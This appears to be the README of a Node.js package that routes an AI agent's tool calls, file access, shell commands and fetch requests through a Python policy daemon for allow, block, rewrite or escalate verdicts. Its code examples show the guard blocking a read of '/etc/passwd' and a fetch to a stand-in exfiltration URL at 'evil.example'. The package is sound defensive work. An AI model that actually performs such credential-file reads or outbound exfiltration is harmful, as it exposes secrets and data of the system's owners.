Guard a Node.js agent's tool calls with the same policy engine the Python interlock library uses.
This is not a port. There is one engine and one set of rules, and both live in
Python. You run a small Python daemon, interlock-sidecar, next to your Node.js
agent. Before each guarded call, this package sends the call to the daemon over
a unix socket and gets back a verdict: allow, block, rewrite, or ask a human.
The call only runs if the verdict allows it. Because there's no second implementation, the
JS side can't drift from the Python one.
Use it when your agent is written in Node.js and you want the same guardrails (and the same rules) as your Python services.
Warning: this package needs a running daemon, and by default it fails closed. There is no engine bundled in the JS package. If the daemon isn't running, can't be reached, or dies mid-session, every guarded call is denied with a
BlockedError. No warning, no pass-through. An agent without its daemon does not act at all, unless you choose otherwise withunreachable(below).This includes
monitormode. An unreachable daemon is an infrastructure failure, not a policy decision, so it is never turned into a silent allow.The trade-off: you must deploy a Python process beside your JS agent, and "is the daemon up?" becomes a hard availability dependency. If that doesn't work for you, this package isn't the right fit.
The package is not on npm yet. Build it from this repository:
cd js
npm install
npm run build # compiles src/ to dist/You need Node.js 20 or newer, and the Python package for the daemon:
pip install "git+https://github.com/SourceShift/InterLock.git"The JS package has no runtime dependencies. It is ESM only (there is no CommonJS build).
The daemon ships with the Python package. Point it at the rules you want to enforce:
interlock-sidecar --rules my_service.policies:RULES --socket "$HOME/.interlock/guard.sock"Note Don't put the socket directly in
/tmp. The daemon refuses a shared directory (world-writable or sticky, like/tmp) and never changes its permissions. Use a directory you own, like~/.interlock/above.
--rules takes a module:attribute path to your rule set, which is written in
Python (see Writing rules). The daemon refuses
to start with an empty rule set, because an empty engine allows everything and
would look healthy while enforcing nothing.
The socket is created with 0600 permissions inside a 0700 directory. Whoever
can open the socket can ask for verdicts, so treat its path as part of your
security boundary. Every flag is documented in the
sidecar reference.
Wrap your MCP client once. Every callTool is then checked before it reaches
the server.
import { homedir } from "node:os";
import { join } from "node:path";
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { BlockedError, RemoteEngine, guardMcpSession } from "interlock-guard";
const engine = new RemoteEngine(join(homedir(), ".interlock", "guard.sock"), { timeout: 5 });
const client = new Client({ name: "my-agent", version: "1.0.0" });
guardMcpSession(client, { engine });
await client.callTool({ name: "echo", arguments: { text: "hi" } });
// allowed: the call reached the server
await client.callTool({ name: "read_file", arguments: { path: "/etc/passwd" } });
// throws BlockedError: blocked action 'read_file': ...
// the server never heard about the callguardMcpSession doesn't import the MCP SDK. It wraps any object with a
callTool({ name, arguments }) method, so the official Client works unchanged
and so does a test double. Results are checked too, on the way back.
Note:
RemoteEnginewaits at mosttimeoutseconds for the connection and for each reply. The default is 5 seconds (DEFAULT_TIMEOUT_SECONDS). When it runs out, the call fails closed with aBlockedError(no reply within 5s), so a hung daemon blocks calls instead of hanging them. The timer only runs while a reply is pending, so an idle pause between calls never trips it. Pass{ timeout: null }to wait without limit, which you should only do in tests.
When a call is blocked, the BlockedError carries the whole decision, so you can
log why:
try {
await client.callTool({ name: "read_file", arguments: { path: "/etc/passwd" } });
} catch (err) {
if (err instanceof BlockedError) {
console.log(err.action); // "read_file"
console.log(err.decision.reason); // why the policy said no
console.log(err.decision.policy_id); // which rule
console.log(err.decision.attributed_to); // which argument, e.g. "path"
}
}If your agent doesn't use MCP, call the two functions underneath
guardMcpSession yourself, before and after running a tool:
import { enforceToolCall, enforceToolResult } from "interlock-guard";
const safeArgs = await enforceToolCall("shell", { cmd }, { engine });
const output = await runShell(safeArgs);
const safeOutput = await enforceToolResult("shell", output, { engine });enforceToolCallreturns a copy of the arguments, with any rewrite merged in. Your original object is never changed.enforceToolResultreturns the original result when allowed, and a replacement when the policy rewrote it. (The policy sees the result wrapped as{ result: ... }when it isn't an object. That wrapper never leaks out to you.)- Both throw
BlockedErroron a block. Blocking a result doesn't undo the tool: it has already run. It only keeps the output away from your agent.
Pass enforcement: "monitor" to record decisions without acting on them, and
principal: "acme/agent42" to say who is acting. Pass the same callId to both
calls to link their receipts (guardMcpSession does this for you).
A rule can return Decision.escalate(...): legal, but a person must decide.
Pass onEscalate to decide. It resolves true to run this one call; anything
else (including a throw, or no callback at all) rejects with NotApprovedError,
a BlockedError:
const options = {
engine,
onEscalate: async (request) => askOnCall(request.action, request.reason, request.args),
};request.reason is one line of at most 512 bytes. A block from any rule wins
over an escalation, so you're only asked about calls nothing refused. A verdict
this client doesn't know is blocked.
new RemoteEngine(path, { unreachable: "deny" }); // default
new RemoteEngine(path, { unreachable: "degraded", fallbackKeyFile: "/etc/interlock/key" });
new RemoteEngine(path, { unreachable: "allow" });degraded decides calls with the offline fallback policy the daemon signed
(interlock-sidecar --fallback-policy FILE --key-file KEY), and blocks if that
file is missing, tampered or stale. allow lets every call through. Both call
onFallback (default process.emitWarning) on every call they decide, and
engine.fallbacks counts them. A daemon that answers with an error is reachable
and refusing, so it always blocks. See the
sidecar reference.
If the daemon serves per-principal policies (--scope-document FILE), point the
client at the same published file:
new RemoteEngine(path, {
scopeFile: "/etc/interlock/scope.json",
scopeKeyFile: "/etc/interlock/key",
});The client verifies the signed document under the shared key at construction
and presents it on every request. A daemon serving a different document answers
scope_mismatch and the call blocks - it is never decided under a scope set
the client did not ask for. The file is read once: after republishing a scope
document, restart the daemon and its clients together. See
pinning the scope document.
Tool calls aren't the only risk. An agent can also read files, run commands, and
send HTTP requests directly. installInterceptors patches those functions for
the whole process and checks each one before it happens:
import fs from "node:fs";
import { homedir } from "node:os";
import { join } from "node:path";
import { RemoteEngine, installInterceptors } from "interlock-guard";
const engine = new RemoteEngine(join(homedir(), ".interlock", "guard.sock"), { timeout: 5 });
const interceptors = installInterceptors({ engine });
interceptors.covered; // ["child_process.exec", "child_process.execFile", "fs.access", ..., "http.fetch"]
interceptors.uncovered; // what can't be guarded (see below)
await fs.promises.readFile("/etc/passwd"); // BlockedError: the file is never read
await fetch("http://evil.example/exfil"); // BlockedError: nothing leaves the process
interceptors.uninstall(); // restores every patched functionPass { fs: false }, { exec: false }, or { http: false } to skip a group.
Each effect reaches your rules as an action with a namespaced name, so a raw
fetch can't be confused with an MCP tool that happens to be called fetch:
| Action | Arguments your rule sees |
|---|---|
fs.readFile, fs.writeFile, fs.rm, fs.rename, fs.open, fs.opendir, … (24 in total) |
path, plus data, dest, options, flags, etc. where the function takes them |
child_process.exec |
command, options |
child_process.execFile |
command (the file), args, options |
http.fetch |
url (a string, URL, or Request), plus method, headers, body when given |
A Python rule then reads event.action == "fs.rm" and event.args["path"]. A
rewrite changes the argument (path, command, url), and the effect uses the
rewritten value.
Path-carrying arguments (path, dest, target, file) reach the rule as
text: a Buffer/Uint8Array path is decoded as UTF-8, and a file://
URL becomes a filesystem path (any other URL keeps its href). The caller's
original argument is left untouched unless the policy actually rewrites it, and
binary payloads such as writeFile's data are never converted. A
fetch(new Request(...)) input contributes its own url, method, and
headers; an explicit init still overrides them. A Request body is not
inspected: when a rewritten url forces a rebuild, the guard clones the Request
first, so the caller's body is forwarded rather than consumed and stays
readable.
installInterceptors patches the CJS module objects. An ESM named import -
import { readFile } from "node:fs/promises" or import * as fs from "node:fs" -
is bound when the module is linked, so no property patch can reach it.
registerEsmInterceptors installs the same patches and then registers a module
loader that replaces node:fs, node:fs/promises and node:child_process with
synthetic modules whose guarded exports delegate to the patched functions at
call time. The supported form is the preload, which runs before the
application's module graph links:
INTERLOCK_SOCKET=/run/interlock.sock \
node --import interlock-guard/esm-hook app.mjsesm-hook reads INTERLOCK_SOCKET (required) and INTERLOCK_PRINCIPAL
(optional), and refuses to start without the socket rather than run unguarded.
To build the engine yourself, call registerEsmInterceptors({ engine }) from a
module that --import loads before anything else.
Ordering is the constraint: an earlier import of the builtin caches the real module record, Node has no unregister, and the loader cannot replace it. That is why the preload is minimal - it links no guarded builtin itself.
The coverage report moves esm.named-import from uncovered to covered.
Unguarded exports (readFileSync, createReadStream), constructors (fs.Stats)
and values (fs.constants, fs.promises) keep their identity; only guarded
members are Proxy wrappers, so readFile !== require("node:fs").readFile while
either call gets the same decision. Uninstall restores the patched functions and
the wrappers delegate to the originals again.
If your agent calls tools through a model SDK (Anthropic, OpenAI, or your own loop), guard the place where your code runs the tool the model asked for:
import { guardToolMap, guardToolRunner } from "interlock-guard";
// a { name: fn } record of tool functions
const tools = guardToolMap({ read_file, shell, search }, { engine });
// or a (name, args) => result dispatcher
const run = guardToolRunner(myDispatcher, { engine });Neither imports a model SDK. Both check the call before it runs and the
result after, through the same enforceToolCall / enforceToolResult used
everywhere else. So one rule behaves the same whether your agent uses MCP, a
model SDK, or a hand-written loop.
For guardToolMap: when a tool's first argument is a plain object, its own keys
are what the policy sees and rewrites. Any other first argument (a string, a
Buffer, nothing) is shown to the policy as { input: ... }.
Every trailing argument the wire can carry is visible too, under the reserved
key positional_args: a tool called as (input, context) shows the policy
{ input, positional_args: [context] }, and a MODIFY whose positional_args is
an array replaces the trailing arguments. An object-only call keeps the shape
above (no positional_args), and the synthetic key is never passed to the tool
as a key of the first argument. If a first object already has its own
positional_args key, the wrapper's reserved key wins.
A trailing value the codec refuses - an AbortSignal, a class instance, a
function - omits positional_args for the whole call rather than failing the
call before the tool runs. The policy cannot see what cannot be sent, and the
tool still receives the argument untouched. Positions are never compacted, so
an index into positional_args always names the same real argument.
Some parts of Node can't be reached by any patch written in JavaScript. These
gaps are permanent, so they're listed by name in installInterceptors().uncovered
(and in the exported UNGUARDABLE array) rather than left for you to discover.
-
ESM named imports, unless the loader is registered.
import { readFile } from "node:fs"andimport * as fs from "node:fs"bind the original function at link time, so property patching cannot redirect them — onlyrequireand a default import (the same object) see the interceptor. Without the opt-in loader the report names this holeesm.named-import.registerEsmInterceptors/node --import interlock-guard/esm-hookcloses it by replacing the builtins' module records, but only for modules linked after registration, and only if no earlier module has already linked them. -
Synchronous calls and calls that return a handle. A guard has to wait for the daemon's verdict before the effect, so anything that must return a value immediately is out of reach:
- every
*Syncfunction (readFileSync,rmSync,execSync, …) - functions that return a stream synchronously:
fs.createReadStream,fs.createWriteStream child_process.spawnandchild_process.fork, which return a liveChildProcesshttp.request,http.get,https.request,https.get, which return a request object synchronously
child_process.execandexecFile,fs.openandfs.opendirare guarded. Their callback forms report through the callback and their promise forms (fs.promises.open,fs.promises.opendir) already return a promise, so a decision-first wrapper does not steal a synchronous handle. - every
-
Result checks on fs, exec, and fetch. The interceptors check the call, not what it returns. An
fscall can return aStats, aDirent, or a stream, which can't be sent to the daemon, so checking results would turn an ordinaryfs.statinto a block. Result checks and redaction happen on the MCP and model-SDK paths, where the result is a tool payload.
- Async only. Node has no synchronous unix-socket client, so
RemoteEngine.evaluate()returns a promise. A synchronous JS tool function can't be guarded, because there's no synchronous way to ask the daemon. MCP'scallToolis already async, so it fits. - One connection, one call at a time. A
RemoteEngineholds a single socket connection, and requests on it can't be interleaved. Concurrent guarded calls queue behind each other instead of racing. Create moreRemoteEngines if you need more in flight. - Each guarded call costs a round trip.
npm run benchprints the overhead. On the development machine it measured about 47 µs per guarded call, against about 0.4 µs unguarded (an earlier, less loaded run measured about 26 µs). Treat this as a smoke number, not a benchmark: the overhead benchmark with a stated method is still on the roadmap. Every guardedfs,exec, orfetchcall adds one round trip. - Some values are refused instead of converted.
undefined,NaN,±Infinity,bigint,Map,Date, class instances, and objects withSymbolkeys throwUnrepresentable. These are valuesJSON.stringifywould silently drop or corrupt, which could hand the engine an event with nothing to object to, and so allow it. Refusing turns that silent allow into a visible block. Bytes (Buffer,Uint8Array) andSets are supported; everything else must be plain JSON. The one exception is aguardToolMaptrailing argument: an unrepresentable value omitspositional_argsinstead of blocking the call, so the guard never refuses a call over an argument it merely could not show the policy. - Path projection is textual, and lossy in one direction. A
Bufferpath reaches the policy as its UTF-8 string. That is the encoding a filesystem path is made of, but a byte sequence that is not valid UTF-8 cannot round-trip exactly; the rule sees the replacement-character form. A non-file:URLin a path field keeps itshrefrather than throwing, and aRequestbody is not inspected. - No audit receipts from JS. The Python side writes a signed receipt for each
decision. Here the daemon already records the decision when it answers (start
it with
--receipts), so the JS client doesn't write a second, unsigned copy. - ESM only, Node 20.6+ (the loader needs
module.register), not yet on npm.
| Import | What you get |
|---|---|
interlock-guard |
everything |
interlock-guard/mcp |
enforceToolCall, enforceToolResult, guardMcpSession |
interlock-guard/wire |
the protocol: canonical JSON, the value codec, frames, WireError, Unrepresentable |
interlock-guard/esm |
registerEsmInterceptors, esmLoaderRegistered |
interlock-guard/esm-hook |
the preload: registers the interceptors and loader from INTERLOCK_SOCKET |
npm install
npm run build # tsc -p tsconfig.build.json -> dist/
npm test # tsc -p tsconfig.test.json && node --test -> dist-test/
npm run bench # the guarded round-trip smoke numbernpm test starts the real Python daemon. If it can't start one, the suite
fails and prints the daemon's stderr instead of skipping, because a skipped
conformance test is a green suite that proves nothing. Set PYTHON=... to choose
the interpreter (the default is python3).
What the tests cover:
test/corpus.test.tsis the centre of the suite. It replaystests/conformance/events.json, the same frozen corpus the Python tests replay: 13 cases and 9 protocol negatives, each checking that this client reads a decision exactly as the engine made it. This corpus is the contract between the two languages.test/mcp_sdk.test.tswraps a real@modelcontextprotocol/sdkClientover an in-memory transport.test/fs.test.ts,test/exec.test.ts, andtest/http.test.tsdrive the interceptors against a real daemon. The HTTP test uses a real server to prove a blocked request never leaves the process.test/install.test.tspins the coverage report and checks thatuninstallrestores everything.test/model.test.tscoversguardToolMapandguardToolRunner;test/shapes.test.tscovers the projection helpers and the event-only write-back rule.test/client.test.ts,test/mcp.test.ts, andtest/wire.test.tscover the client, the MCP wrapper, and the protocol codec.test/timeout.test.tschecks the default timeout and thetimeout: nullopt-out, that a daemon which never replies blocks the call once the timeout runs out, and that an idle pause between calls doesn't trip the reply timer.
- interlock README: what interlock is and how the Python side works
- Concepts: events, rules, verdicts, and phases
- Writing rules: the Python rules this package enforces
- Sidecar reference: every daemon flag and the wire protocol
Apache-2.0. See LICENSE.